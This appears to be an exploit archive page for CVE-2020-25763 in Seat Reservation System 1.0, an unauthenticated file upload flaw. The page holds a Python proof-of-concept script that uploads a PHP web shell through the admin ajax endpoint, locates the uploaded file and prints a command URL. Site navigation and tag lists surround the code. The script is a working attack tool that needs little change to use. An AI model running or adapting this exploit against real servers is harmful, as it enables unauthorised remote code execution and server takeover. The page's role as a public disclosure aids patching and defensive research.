Seat Reservation System 1.0 Shell Upload

Authored by Rahul Ramkumar

Posted Sep 21, 2020

Seat Reservation System version 1.0 suffers from an unauthenticated file upload vulnerability that allows for remote code execution.

tags | exploit, remote, code execution, file upload
advisories | CVE-2020-25763
SHA-256 | f51980f4cdcbccbc7521c2a7dab9d0a487666c168a76426fc20232877e5f661b

Download | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
Seat Reservation System version 1.0 suffers from an Unauthenticated File
Upload Vulnerability allowing Remote Attackers to gain Remote Code
Execution (RCE) on the Hosting Webserver via uploading PHP files.

Vendor Homepage: www.sourcecodester.com
Software Link:
https://www.sourcecodester.com/sites/default/files/download/oretnom23/seat-reservation-system-using-php_0.zip

Author: Rahul Ramkumar

Date: 2020-09-16

CVE: CVE-2020-25763

PoC:
-------
# Exploit Title: Seat Reservation System 1.0 - Unauthenticated Remote Code
Execution
import requests, sys, urllib, re
from lxml import etree
from io import StringIO
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import random
import string

def print_usage(STRING):
    return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0])
        print print_usage("Example:\t python %s '
https://192.168.1.72:443/seat_reservation/'" % sys.argv[0])
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    UPLOAD_DIR = 'admin/ajax.php?action=save_movie'
    UPLOAD_URL = SERVER_URL + UPLOAD_DIR
    random = ''.join([random.choice(string.ascii_letters + string.digits)
for n in xrange(16)])
    webshell = random+'.php'

    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    image     = {
                  'cover':
                    (
                      webshell,
                      '<?php echo shell_exec($_GET["d3crypt"]); ?>',
                      'application/php',
                      {'Content-Disposition': 'form-data'}
                    )
                }
    fdata   = {'id':
'','title':'Shelling','description':'','duration_hour':'3','duration_min':'0','date_showing':'2020-01-
01','end_date':'2040-09-25'}
    r1 = s.post(url=UPLOAD_URL, files=image, data=fdata, verify=False)
    r2 = s.get(SERVER_URL, verify=False)
    response_page = r2.content.decode("utf-8")
    parser = etree.HTMLParser()
    tree = etree.parse(StringIO(response_page), parser=parser)
    def get_links(tree):
        refs = tree.xpath("//img")
        links = [link.get('src', '') for link in refs]
        return [l for l in links]

    links = get_links(tree)
    print('Access your webshell at: ')
    for link in links:
        if webshell in link:
            print(SERVER_URL + link+'?d3crypt=whoami')
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat	150 files
Ubuntu	68 files
LiquidWorm	23 files
Debian	16 files
malvuln	11 files
nu11secur1ty	11 files
Gentoo	9 files
Google Security Research	6 files
Julien Ahrens	4 files
T. Weber	4 files

File Tags

ActiveX	(932)
Advisory	(79,754)
Arbitrary	(15,694)
BBS	(2,859)
Bypass	(1,619)
CGI	(1,018)
Code Execution	(6,926)
Conference	(673)
Cracker	(840)
CSRF	(3,290)
DoS	(22,602)
Encryption	(2,349)
Exploit	(50,359)
File Inclusion	(4,165)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,660)
Intrusion Detection	(867)
Java	(2,899)
JavaScript	(821)
Kernel	(6,291)
Local	(14,201)
Magazine	(586)
Overflow	(12,419)
Perl	(1,418)
PHP	(5,093)
Proof of Concept	(2,291)
Protocol	(3,435)
Python	(1,467)
Remote	(30,044)
Root	(3,504)
Ruby	(594)
Scanner	(1,631)
Security Tool	(7,777)
Shell	(3,103)
Shellcode	(1,204)
Sniffer	(886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX	(426)
Apple	(1,926)
BSD	(370)
CentOS	(55)
Cisco	(1,917)
Debian	(6,634)
Fedora	(1,690)
FreeBSD	(1,242)
Gentoo	(4,272)
HPUX	(878)
iOS	(330)
iPhone	(108)
IRIX	(220)
Juniper	(67)
Linux	(44,315)
Mac OS X	(684)
Mandriva	(3,105)
NetBSD	(255)
OpenBSD	(479)
RedHat	(12,469)
Slackware	(941)
Solaris	(1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other